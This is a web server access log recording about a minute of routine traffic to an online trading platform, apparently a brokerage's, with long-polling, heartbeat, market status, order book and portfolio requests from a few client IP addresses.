[09/Jan/2026:09:30:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922518931 HTTP/1.1" -
[09/Jan/2026:09:30:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922533701 HTTP/1.1" -
[09/Jan/2026:09:30:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922523756 HTTP/1.1" -
[09/Jan/2026:09:30:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:30:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:09:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1157
[09/Jan/2026:09:30:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922523054 HTTP/1.1" -
[09/Jan/2026:09:30:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:30:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:30:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922523981 HTTP/1.1" -
[09/Jan/2026:09:30:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922538728 HTTP/1.1" -
[09/Jan/2026:09:30:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922524297 HTTP/1.1" -
[09/Jan/2026:09:30:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922528878 HTTP/1.1" -
[09/Jan/2026:09:30:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922529003 HTTP/1.1" -
[09/Jan/2026:09:31:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922543791 HTTP/1.1" -
[09/Jan/2026:09:31:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922529049 HTTP/1.1" -
[09/Jan/2026:09:31:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922530300 HTTP/1.1" -
[09/Jan/2026:09:31:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922533930 HTTP/1.1" -
[09/Jan/2026:09:31:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922534026 HTTP/1.1" -
[09/Jan/2026:09:31:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922548855 HTTP/1.1" -
[09/Jan/2026:09:31:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922535051 HTTP/1.1" -
[09/Jan/2026:09:31:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922536299 HTTP/1.1" -
[09/Jan/2026:09:31:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922539069 HTTP/1.1" -
[09/Jan/2026:09:31:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922539068 HTTP/1.1" -
[09/Jan/2026:09:31:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922553886 HTTP/1.1" -
[09/Jan/2026:09:31:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:31:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1836
[09/Jan/2026:09:31:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922544181 HTTP/1.1" -
[09/Jan/2026:09:31:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922541047 HTTP/1.1" -
[09/Jan/2026:09:31:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922542296 HTTP/1.1" -
[09/Jan/2026:09:31:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922544115 HTTP/1.1" -
[09/Jan/2026:09:31:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922558916 HTTP/1.1" -
[09/Jan/2026:09:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922549336 HTTP/1.1" -
[09/Jan/2026:09:31:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922547057 HTTP/1.1" -
[09/Jan/2026:09:31:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922548288 HTTP/1.1" -
[09/Jan/2026:09:31:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922549146 HTTP/1.1" -
[09/Jan/2026:09:31:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922563944 HTTP/1.1" -
[09/Jan/2026:09:31:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922554463 HTTP/1.1" -
[09/Jan/2026:09:31:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922553052 HTTP/1.1" -
[09/Jan/2026:09:31:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922554176 HTTP/1.1" -
[09/Jan/2026:09:31:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922554288 HTTP/1.1" -
[09/Jan/2026:09:31:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922569003 HTTP/1.1" -
[09/Jan/2026:09:31:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922559607 HTTP/1.1" -
[09/Jan/2026:09:31:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922559208 HTTP/1.1" -
[09/Jan/2026:09:31:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922574064 HTTP/1.1" -
[09/Jan/2026:09:31:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922559707 HTTP/1.1" -
[09/Jan/2026:09:31:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922560290 HTTP/1.1" -
[09/Jan/2026:09:31:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922564671 HTTP/1.1" -
[09/Jan/2026:09:31:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922564256 HTTP/1.1" -
[09/Jan/2026:09:31:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922579132 HTTP/1.1" -
[09/Jan/2026:09:31:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922565046 HTTP/1.1" -
[09/Jan/2026:09:31:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922566291 HTTP/1.1" -
[09/Jan/2026:09:31:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922569712 HTTP/1.1" -
[09/Jan/2026:09:31:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922569290 HTTP/1.1" -
[09/Jan/2026:09:31:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922584199 HTTP/1.1" -
[09/Jan/2026:09:31:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922571047 HTTP/1.1" -
[09/Jan/2026:09:31:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922571318 HTTP/1.1" -
[09/Jan/2026:09:31:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922574839 HTTP/1.1" -
[09/Jan/2026:09:31:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922574305 HTTP/1.1" -
[09/Jan/2026:09:31:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922589233 HTTP/1.1" -
[09/Jan/2026:09:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1172
[09/Jan/2026:09:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
